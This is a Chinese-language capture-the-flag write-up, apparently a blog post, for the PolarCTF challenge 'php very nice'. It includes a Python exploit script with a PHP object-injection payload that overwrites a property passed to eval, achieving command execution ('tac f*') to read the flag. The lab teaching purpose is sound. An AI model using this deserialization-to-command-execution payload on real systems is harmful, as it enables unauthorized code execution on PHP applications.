Polar Web【简单】php very nice

Polar Web【简单】php very nice

思路

打开网页源代码,由下图的代码,可见本题涉及到反序列化以及变量覆盖。
因此考虑传递GET参数a来构造序列字符串。

code

  • 由上图中的代码,在Example类中定义了一个public成员变量,并在魔术函数__destruct中调用了敏感函数 eval
  • 此外,出现了反序列化函数 unserialize 的调用,传入 GET 参数 a
  • 综合上述情况,考虑通过构造参数Payload来覆盖成员变量的值,触发命令执行,获取flag

EXP

import requests


def attack(url, payload):
    url += payload
    res = (requests.get(url).content.decode('utf8'))
    print(res[res.rindex('flag'):res.rindex(';') - 1])


if __name__ == '__main__':
    site = 'http://~.www.polarctf.com:8090/'
    # 构造需要反序列化的字符串 —— 旨在覆盖变量值 -> 指令
    pl = '?a=O:7:"Example":1:{s:3:"sys";s:17:"system(\'tac f*\');";}'
    attack(site, pl)

运行&总结

run

  • 本题考查重点是构造反序列化用的序列字符串,以达到变量覆盖,触发命令执行的目的。






敬,不完美的明天

相关推荐

  1. 简单计算器

    2024-06-07 12:22:06       39 阅读
  2. 简单计算器

    2024-06-07 12:22:06       34 阅读
  3. Python 很简单。 Go 很简单简单!=简单

    2024-06-07 12:22:06       18 阅读
  4. 简单函数_简单算术表达式求值

    2024-06-07 12:22:06       21 阅读

最近更新

  1. stm32使用单通道规则组ADC

    2024-06-07 12:22:06       0 阅读
  2. HTML 学习指南:从入门到精通

    2024-06-07 12:22:06       0 阅读
  3. 经导管二尖瓣修复系统市场全面解析与未来展望

    2024-06-07 12:22:06       0 阅读
  4. 大众点评商家电话采集软件分享 解析爬虫工具

    2024-06-07 12:22:06       1 阅读
  5. Python 使用正则提取字符串

    2024-06-07 12:22:06       1 阅读
  6. 专业课笔记——(第十二章:文件的读写)

    2024-06-07 12:22:06       1 阅读
  7. lvs集群

    2024-06-07 12:22:06       1 阅读

热门阅读

  1. rust嵌入式开发之总结

    2024-06-07 12:22:06       11 阅读
  2. 初识C语言第三十天——设计三子棋游戏

    2024-06-07 12:22:06       10 阅读
  3. nginx自动清理脚本

    2024-06-07 12:22:06       11 阅读
  4. VUE中xslx解析excel日期格式问题

    2024-06-07 12:22:06       11 阅读
  5. MDK(Keil MDK)编辑器配置详解与快捷按键

    2024-06-07 12:22:06       9 阅读
  6. SystemVerilog的基本语法和流水的实现

    2024-06-07 12:22:06       10 阅读
  7. 实验四:基于System-Verilog的FPGA设计与仿真

    2024-06-07 12:22:06       11 阅读
  8. 基于单片机的步进电机控制系统的研究

    2024-06-07 12:22:06       11 阅读
  9. 自定义注解实现Excel 导出

    2024-06-07 12:22:06       7 阅读
  10. c#调用Delphi编写DLL

    2024-06-07 12:22:06       10 阅读
  11. Python语言试卷:深入剖析Python编程的精髓

    2024-06-07 12:22:06       10 阅读